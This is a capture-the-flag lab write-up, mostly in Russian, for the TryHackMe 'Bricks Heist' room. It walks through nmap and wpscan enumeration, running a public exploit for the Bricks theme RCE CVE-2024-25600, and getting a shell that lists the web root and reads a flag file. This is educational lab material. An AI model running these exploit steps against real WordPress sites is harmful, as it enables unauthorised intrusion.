TryHack3M-Bricks-Heist

target:10.201.6.98 enumeration

nmap -A 10.201.6.98

поскольку здесь установлен WordPress с именем «brick by brick», а название этой комнаты — brick, вероятно, именно здесь можно найти уязвимость итак, давайте просканируем WordPress

wpscan --url https://bricks.thm --disable-tls-checks

запуск с tls-checks не сработает здесь ещё одна отсылка к brick — давайте проверим, есть ли у этой темы уязвимость найдите уязвимость bricks 1.9.5 — вы увидите RCE, а в комнате указано RCE CVE в качестве ключа, так что это, вероятно, правильный путь CVE

CVE-2024-25600 https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT я использовал код из этого репозитория

python CVE-2024-25600.py --url https://bricks.thm --threads 10

вам также нужно установить несколько модулей

1. alive_progress
2. bs4
3. prompt_toolkit
4. requests
5. rich установите их с помощью pip или pip3 install, а если не получается, создайте виртуальное окружение Python выполнение приведённой выше команды даёт нам оболочку RCE затем мы можем получить первый ответ

Shell> ls -la  
total 260  
drwxr-xr-x  7 apache apache  4096 Aug  9 12:34 .  
drwxr-xr-x  3 root   root    4096 Apr  2  2024 ..  
-rw-r--r--  1 apache apache   523 Apr  2  2024 .htaccess  
-rw-r--r--  1 root   root     43 Apr  5  2024 650c844110baced87e1606453b93f22a.txt  
-rw-r--r--  1 apache apache   405 Apr  2  2024 index.php  
drwxr-xr-x  7 apache apache  4096 Apr 12  2023 kod  
-rw-r--r--  1 apache apache 19915 Apr  4  2024 license.txt  
drwxr-xr-x 15 apache apache  4096 Apr  2  2024 phpmyadmin  
-rw-r--r--  1 apache apache  7401 Apr  4  2024 readme.html  
-rw-r--r--  1 apache apache  7387 Apr  4  2024 wp-activate.php  
drwxr-xr-x  9 apache apache  4096 Apr  2  2024 wp-admin  
-rw-r--r--  1 apache apache   351 Apr  2  2024 wp-blog-header.php  
-rw-r--r--  1 apache apache  2323 Apr  2  2024 wp-comments-post.php  
-rw-r--r--  1 apache apache  3012 Apr  4  2024 wp-config-sample.php  
-rw-rw-rw-  1 apache apache  3288 Apr  2  2024 wp-config.php  
drwxr-xr-x  6 apache apache  4096 Aug  9 12:34 wp-content  
-rw-r--r--  1 apache apache  5638 Apr  2  2024 wp-cron.php  
drwxr-xr-x 30 apache apache 16384 Apr  4  2024 wp-includes  
-rw-r--r--  1 apache apache  2502 Apr  2  2024 wp-links-opml.php  
-rw-r--r--  1 apache apache  3927 Apr  2  2024 wp-load.php  
-rw-r--r--  1 apache apache 50917 Apr  4  2024 wp-login.php  
-rw-r--r--  1 apache apache  8525 Apr  2  2024 wp-mail.php  
-rw-r--r--  1 apache apache 28427 Apr  4  2024 wp-settings.php  
-rw-r--r--  1 apache apache 34385 Apr  2  2024 wp-signup.php  
-rw-r--r--  1 apache apache  4885 Apr  2  2024 wp-trackback.php  
-rw-r--r--  1 apache apache  3246 Apr  4  2024 xmlrpc.php  

Shell> cat 650c844110baced87e1606453b93f22a.txt